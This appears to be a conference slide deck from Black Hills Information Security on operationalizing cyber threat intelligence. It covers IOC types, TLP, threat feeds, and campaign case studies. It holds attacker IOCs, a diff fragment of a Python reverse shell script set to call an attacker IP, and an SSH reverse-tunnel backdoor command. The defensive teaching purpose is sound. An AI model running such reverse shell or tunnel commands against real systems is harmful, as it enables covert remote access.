


Operationalizing CTI




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@BHInfoSecurity

Derek Banks
Troy Wojewoda

What is Cyber Threat Intelligence (CTI)?



- CTI = Data/Information + Context
 - Data collected and analyzed to determine potential threat activity, capabilities, tactics, and intentions
- What CTI is not...
 - Simply ingesting a feed and alerting on indicators from external sources
 - Security via in-flight magazine
- Definition can vary org to org based on maturity



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CTI – Why do we Care?




- We don't care, everyone go home. j/k
- Nearly all threat detects are built from *some* level of intelligence
- Actionable changes to organization risk profile based on data
- Ultimately CTI is about a better-informed cyber defender



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Where does CTI fit into IR?



Obtaining CTI Data

- Mileage will vary as orgs mature
- Threat intelligence reports and feeds
 - Open source and paid for
- Built-in to security existing security platforms
- Produced internally
 - Product and platform telemetry
 - DFIR activities



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Focus Areas of CTI



- Strategic CTI
 - Overview of organization's threat landscape – vulnerabilities and risks
- Operational CTI
 - Information related to the timing, intent, and capabilities of a TA
- Tactical CTI
 - Related to Tactics, Techniques, and Procedures (TTP) of a Threat Actor (TA)
- Technical CTI
 - Focus on Indicators of Compromise derived from TTPs



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Common CTI Terms



- Indicators of Attack (IoA)
- Indicators of Compromise (IoC)
- Tactics, Techniques, and Procedures (TTPs)
 - How Threat Actors (TAs) be doing it...
- Traffic Light Protocol (TLP)
 - Sharing is caring, but loose lips sinks ships *usefulness of detection**




Indicators of Attack

- Focus on the intent and overall process
- The observed TTPs agnostic to specific IOCs

Example: Operation Midnight Eclipse
Stage 1: Exploit Arbitrary Creation
Stage 2: Command Injection via Highjacked Cron Job

CVE-2024-3400 (PAN-OS:
Arbitrary File Creation Leads to OS
Command Injection Vulnerability in
GlobalProtect)



<https://www.paloaltonetworks.com/blog/2024/04/more-on-the-pan-os-cve/>



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Indicators of Compromise (IoC)



- Individual forensic artifacts from IOA usage
- Atomic indicators can not be broken down into further components
 - IP Addresses
 - Host Names
 - File Hashes
- Computed Indicators
 - Hashes
 - Zeek CommunityID Strings
 - JA3/JA4

```
1 198.58.109.149,ipaddress,server used by the attacker to host malicious files
2 144.172.79.92,ipaddress,server used by the attacker to host malicious files
3 172.233.228.93,ipaddress,server used by the attacker to host malicious files
4 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac,file,UPSTYLE webshell
5 35a5f8ac03b0e3865b3177892420cb34233c55240f452f00f9004e274a85703c,file,reverse shell script
6 755f5b8bd67d226f24329dc960f59e11cb5735b930b4ed30b2df77572efb32e8,file,reverse shell script
7 adba167a9df482aa991faaa0e0cde1182fb9acfb0dc8d19148ce634608bab87,file,post exploitation script
8 c1a0d380bf55070496b9420b970dfc5c2c4ad0a598083b9077493e8b8035f1e9,file,post exploitation script
9 fe07ca449e99827265ca95f9f56ec6543a4c5b712ed50038a9a153199e95a0b7,file,post exploitation script
10 96dbec24ac64e7dd5fef6e2c26214c8fe5be3486d5c92d21d5dcb4f6c4e365b9,file,post exploitation script
11 448fbd7b3389fe2aa421de224d065cea7064de0869a036610e5363c931df5b7c,file,GOST sample
12 e315907415eb8cfcf3b6a4cd6602b392a3fe8ee0f79a2d51a81a928dbce950f8,file,post exploitation script
13 161fd76c83e557269bee39a57baa2ccbba679f59d9adff1e1b73b0f4bb277a6,file,reverse shell Go sample
14 71.9.135.100,ipaddress,Compromised ASUS router used by attacker to interact with compromised devices
15 89.187.187.69,ipaddress,Surfshark VPN address used in exploitation attempts.
16 nhdata.s3-us-west-2.amazonaws.com,hostname,Compromised S3 bucket used to host files by UTA0218
17 23.242.208.175,ipaddress,Compromised ASUS router used by attacker to interact with compromised devices
18 137.118.185.101,ipaddress,Compromised ASUS router used by attacker to interact with compromised devices
19 66.235.168.222,ipaddress,Surfshark VPN address used in exploitation attempts.
```

<https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/iocs.csv>




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Pyramid of Pain



- CTI model describing threat actor cost/difficulty to change
- Much easier to change a hash value for a binary than change all the tools and techniques in use for a campaign



Filenames?



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Tactics Techniques and Procedures



- Commonly abbreviated TTP, but can vary slightly
- Tactics (Tools) refer to specific software components (malware) a threat actor uses
- Techniques are how adversary achieve the technical goals
- Procedures are how tactics and techniques are used together in a campaign against your organization
- An arbitrary example:
 - Password guessing to gain initial access
 - Using Remote Access Tools (RAT) to control a computer
 - RDP Chaining to move laterally in an environment



CTI Collaboration



TLP Definitions and Usage

<https://www.cisa.gov/news-events/news/traffic-light-protocol-tlp-definitions-and-usage>

TLP:RED



TLP: Red

Not for disclosure, restricted to participants only.

TLP:AMBER+STRICT



TLP: Amber+Strict

Limited disclosure, restricted to participants' organization.

TLP:AMBER



TLP: Amber

Limited disclosure, restricted to participants' organization and its clients (see Terminology Definitions).

TLP:GREEN



TLP: Green

Limited disclosure, restricted to the community.

TLP:CLEAR



TLP: Clear

Disclosure is not limited.




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CTI Tools



- Tools to ~~over-complicate things~~ aid us in our CTI endeavors.
- Pay \$\$\$ for a solution
 - Threat Intelligence Platforms (TIPs)
- Open Source platforms
 - MISP
 - OpenCTI
- Feeds into your existing SIEM
 - Example: Filebeat threat intel module into Elastic
- *RollYourOwn*
 - *Collective Intelligence Framework as proof of concept example*
- <https://github.com/hslatman/awesome-threat-intelligence>




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Actions on IOCs



- So, we have some IOCs...now what?
 - Contain/Prevent? – Definitely in the middle of an IR
- But we are not experiencing *<said>* incident...
 - Observe/Alert?
 - Threat Hunt?
- Relevance and Context



Operationalizing CTI



How can CTI be used when in the form of IoC's? **ACTIONABLE**

First, we need to understand some basic things:

1. Source: This is where we get the most context (potentially).
2. Type: Defines how/where the intel can be used (i.e., hashes, IPs, Domains,...yara rules)
3. Level of Dissemination: Public vs. Private
4. Age (of Indicator): How old is the information relative to when it was in use? (not when it was reported, consumed, or produced)



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Operationalizing CTI



- Alerting on threat intel feeds?
- Makes sense from Internet scale data perspective, but...
 - Tons of data is expensive to search
 - Often TA have moved on to new infrastructure
- Better to search in historical data
 - Was there a compromise in the past?
 - Can be more difficult to do with a lot of data



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Operationalizing CTI

- Alerting on threat intel feeds? Context is lacking...

The screenshot displays the Elastic UI interface for searching and viewing documents. The search query is `threat.indicator.ip : 172.233.228.93`, resulting in 1 hit. The interface shows a timeline view of the search results and a list of documents. The 'Expanded document' panel on the right provides detailed information about the threat indicator, including its labels, pipeline, processed time, and associated event details.

Expanded document

View: [Single document](#) [Surrounding documents](#)

# labels.etl.kafka.time	1712954096669
k labels.etl.kafka.topic	filebeat
k labels.etl.pipeline	[all-add_processed_timestamp, filter-mutate-84e38bdc4387-20210426.01, fingerprint-[event][original], fingerprint-catch_all]
⚠ labels.etl.processed_time	2024-04-12T20:34:57.396Z
k labels.event_original_hash_sha1	f928da69c15d1aa71e51d5ad312a54d64f2c1d69
k service.type	threatintel
k tags	[threatintel-otx, forwarded, Main_Pipeline]
f threat.feed.dashboard_id	ad9c7430-72de-11eb-a3e3-b3cc7c78a70f
f threat.feed.name	[Filebeat] Alienvault OTX
f threat.indicator.ip	172.233.228.93
f threat.indicator.type	ipv4-addr



Operationalizing CTI

- Alerting on threat intel feeds? CTI platforms contain more context...

2024-04-13	Object name: report			References: 0
<input type="checkbox"/>	2024-04-13	External analysis	link: https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/	
<input type="checkbox"/>	2024-04-13	Other	summary: text Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400)	
<input type="checkbox"/>	2024-04-13	Other	type: text Blog	
2024-04-13	Object name: vulnerability			References: 1 CVE-2024-3400: Enriched via the cve_advanced module
<input type="checkbox"/>	2024-04-13	External analysis	id: vulnerability CVE-2024-3400	
<input type="checkbox"/>	2024-04-13	Other	summary: text A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. Fixes for PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 are in development and are expected to be released by April 14, 2024. Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability. All other version ... Show all	
<input type="checkbox"/>	2024-04-13	Other	modified: datetime 2024-04-13T01:00:00.000000	
<input type="checkbox"/>	2024-04-13	Other	published: datetime 2024-04-12T08:15:00.000000	
<input type="checkbox"/>	2024-04-13	Other	state: text Published	
<input type="checkbox"/>	2024-04-13	External analysis	references: link https://security.paloaltonetworks.com/CVE-2024-3400	
2024-04-13	Object name: yara			References: 0
<input type="checkbox"/>	2024-04-13	Other	context: text all	
<input type="checkbox"/>	2024-04-13	Payload installation	yara: yara rule hacktool_golang_reversessh_fahrj { meta: author = "threatintel@volexity.com" date = "2024-04-10" description = "Detects a reverse SSH utility available on GitHub"	




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CTI Threat Feeds: Stats


- Sample Set:
 - ~600K IOCs
 - Open-Source Feeds

The “Others”

uri authentichash
github_usernames btc
scheduled_tasks pdb
ja3 jarm cookie
yara regkey
ssdeep email pehash
imphash user-agent
github_repo
reg_value



Observables Database




- Unique IOCs collected
 - Hashes, IP Address, Hostnames, Root Domains
- First time seen, last time seen, count of times seen, sources
- Smaller long term storage costs, faster to search


Historic Host Info									
host	count	first_seen	last_seen	sources	Redacted Organization Names				
blackhillsinfosec.com	2851	2023-08-15	2024-04-15	{ "dns": 2846, ...	2460	330	16	4	6
dns client ip		ssl client ip		ssl ja3		ssl ja3s			
20		3		5		2			



Story Time




- Scenario 1: Threat Intelligence (Consumed – TLP:CLEAR)
- Scenario 2: Threat Intelligence (Produced – )
- Scenario 3: DFIR to TTP Alert (Produced –



Story Time – TLP:CLEAR

- When good intel creates horrible alerts
- Github.com can be used for good and bad
- Full URL may be better than domain but...
- Likely by the time its in TLP:CLEAR its no longer being use




Story Time – ~~TLP:RED~~

SEA TURTLE (aka Marbled Dust, SILICON)

Targeted Verticals:

- Government
- Energy
- Think Tanks
- International NGO's



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<https://blog.talosintelligence.com/sea-turtle-keeps-on-swimming/>


CTI – *Ante* Public Disclosure



85 contributions in 2020



25 contributions in 2021



Update and rename yy4.py to yy5.py

master

jacksp7 committed 13 days ago

May 26, 2022 @
14:21 UTC

Showing 1 changed file with 2 additions and 2 deletions.

4 yy4.py → yy5.py

@@ -14,8 +14,8 @@

```
14 14 import pty
15 15 import socket
```

```
17 - lhost = "82.196.5.226" # XXX: CHANGE
```

```
18 - lport = 443 # XXX: CHANGE
```

```
17 + lhost = "206.166.251.49" # XXX: CHANGE
```

```
18 + lport = 80 # XXX: CHANGE
```

```
19 19
20 20 def main():
```

```
21 21     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
```



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CTI – *Post* Public Disclosure



OSINT¹ – PWC: *The Tortoise and The Malwahare* [2023-12-05]


OSINT² – Strike Ready: *Pivoting through a Sea of indicators to spot Turtles* [2023-12-27]

OSINT³ – Hunt & Hackett: *Turkish espionage campaigns in the Netherlands* [2024-01-05]

1: <https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html>

2: <https://blog.strikeready.com/blog/pivoting-through-a-sea-of-indicators-to-spot-turtles/?s=08>

3: <https://www.huntandhackett.com/blog/turkish-espionage-campaigns>




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CTI – *Post* Public Disclosure



OSINT footprint shifts operational tempo



TTP Example Scenario



- SSH Backdoor discovered during DFIR
- Creates reverse proxy to TA system
 - Able to run commands from remote system into internal network
- Not doesn't fit neatly in Mitre ATT&CK as a specific technique

```
ssh.exe sshtunnel@blackhillsinfosec.com -f -N  
-R 50000 -p 443 -o StrictHostKeyChecking=no
```



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<https://www.blackhillsinfosec.com/ssh-dont-tell-them-i-am-not-https/>

MITRE ATT&CK



- Pros
 - Wide range of TTPs covered
 - Attacker viewpoint focused
 - Can be used to customize your own CTI model
- Cons
 - Not exhaustive of all potential TTPs
 - Post compromise focus



Conclusion



- Your mileage may vary alerting on IOCs in CTI feeds
- Historic searches for new CTI better approach
 - Have we ever seen this in our environment?
- Consolidate common CTI data types into observables database
 - Start with the most common IOC types: Domains, IPs, Hashes

About...us



Pictures and bios and stuff



<https://www.blackhillsinfosec.com/team/derek-banks/>



<https://www.blackhillsinfosec.com/team/troy-wojewoda/>



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